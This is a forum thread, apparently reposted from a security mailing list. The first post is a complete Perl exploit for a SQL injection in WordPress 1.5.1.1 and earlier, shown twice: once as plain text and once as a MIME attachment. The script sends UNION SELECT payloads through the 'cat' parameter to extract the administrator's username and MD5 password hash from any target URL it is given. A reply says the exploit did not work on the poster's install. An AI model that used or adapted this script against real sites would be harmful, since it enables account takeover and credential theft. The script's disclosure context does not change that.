Likes Likes:  0
Resultaten 1 tot 2 van de 2
Geen
  1. #1
    Alberto Trivero
    SQL Injection Exploit for WordPress <= 1.5.1.1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    SQL Injection Exploit for WordPress <= 1.5.1.1

    This is a multi-part message in MIME format.

    ------=_NextPart_000_002A_01C56BA9.92E603C0
    Content-Type: text/plain;
    charset="iso-8859-1"
    Content-Transfer-Encoding: 7bit

    #!/usr/bin/perl -w
    #
    # SQL Injection Exploit for WordPress <= 1.5.1.1
    # This exploit show the username of the administrator of the blog and his
    password crypted in MD5
    # Related advisory:
    http://www.securityfocus.com/archive.../30/0/threaded
    # Patch: Download the last version at http://wordpress.org/download/
    # Coded by Alberto Trivero

    use LWP::Simple;

    print "\n\t======================================\n" ;
    print "\t= Exploit for WordPress <= 1.5.1.1 =\n";
    print "\t= Alberto Trivero - codebug.org =\n";
    print "\t======================================\n\n" ;

    if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
    print "Usage:\nperl $0 [full_target_path]\n\n";
    print "Examples:\nperl $0 http://www.example.com/wordpress/\n";
    exit(0);
    }

    $page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20user_logi n%20FROM
    %20wp_users/*") || die "[-] Unable to retrieve: $!";
    print "[+] Connected to: $ARGV[0]\n";
    $page=~m/<title>.*?&raquo; (.*?)<\/title>/ && print "[+] Username of
    administrator is: $1\n";
    print "[-] Unable to retrieve username\n" if(!$1);
    $page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20user_pass %20FROM%
    20wp_users/*") || die "[-] Unable to retrieve: $!";
    $page=~m/<title>.*?&raquo; (.*?)<\/title>/ && print "[+] MD5 hash of
    password is: $1\n";
    print "[-] Unable to retrieve hash of password\n" if(!$1);

    ------=_NextPart_000_002A_01C56BA9.92E603C0
    Content-Type: application/octet-stream;
    name="wordpress.pl"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment;
    filename="wordpress.pl"

    #!/usr/bin/perl -w
    #
    # SQL Injection Exploit for WordPress <=3D 1.5.1.1
    # This exploit show the username of the administrator of the blog and =
    his password crypted in MD5
    # Related advisory: =
    http://www.securityfocus.com/archive.../30/0/threaded
    # Patch: Download the last version at http://wordpress.org/download/
    # Coded by Alberto Trivero

    use LWP::Simple;

    print =
    "\n\t=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =3D=3D=3D=3D=3D=3D=3D=3D=
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\n";
    print "\t=3D Exploit for WordPress <=3D 1.5.1.1 =3D\n";
    print "\t=3D Alberto Trivero - codebug.org =3D\n";
    print =
    "\t=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D\n\n";

    if(!$ARGV[0] or !($ARGV[0]=3D~m/http/)) {
    print "Usage:\nperl $0 [full_target_path]\n\n";
    print "Examples:\nperl $0 http://www.example.com/wordpress/\n";
    exit(0);
    }

    $page=3Dget($ARGV[0]."index.php?cat=3D%2527%20UNION%20SELECT%20user_lo gin=
    %20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!";
    print "[+] Connected to: $ARGV[0]\n";
    $page=3D~m/<title>.*?&raquo; (.*?)<\/title>/ && print "[+] Username of =
    administrator is: $1\n";
    print "[-] Unable to retrieve username\n" if(!$1);
    $page=3Dget($ARGV[0]."index.php?cat=3D%2527%20UNION%20SELECT%20user_pa ss%=
    20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!";
    $page=3D~m/<title>.*?&raquo; (.*?)<\/title>/ && print "[+] MD5 hash of =
    password is: $1\n";
    print "[-] Unable to retrieve hash of password\n" if(!$1);
    ------=_NextPart_000_002A_01C56BA9.92E603C0--


  2. #2
    Giorgio Mandolfo
    SQL Injection Exploit for WordPress &lt;= 1.5.1.1
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: SQL Injection Exploit for WordPress <= 1.5.1.1

    * Alberto Trivero <trivero@jumpy.it> [070605, 21:40]:
    > #!/usr/bin/perl -w


    Thanks for the code.
    In any case I get 'Unable to retrieve username' and 'hash of password'

    That's quite strange since I run a exploitable version.
    According to wp-includes/version.php this is Wordpress 1.5 (old install from a
    gentoo system)

    GLSA 200506-04 says that Wordpress < 1.5.1.2 is vulnerable, but it seems not to
    be the case.

    Who can clarify?
    Thanks,

    Giorgio

    --
    BOFH excuse #449:

    greenpeace free'd the mallocs

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics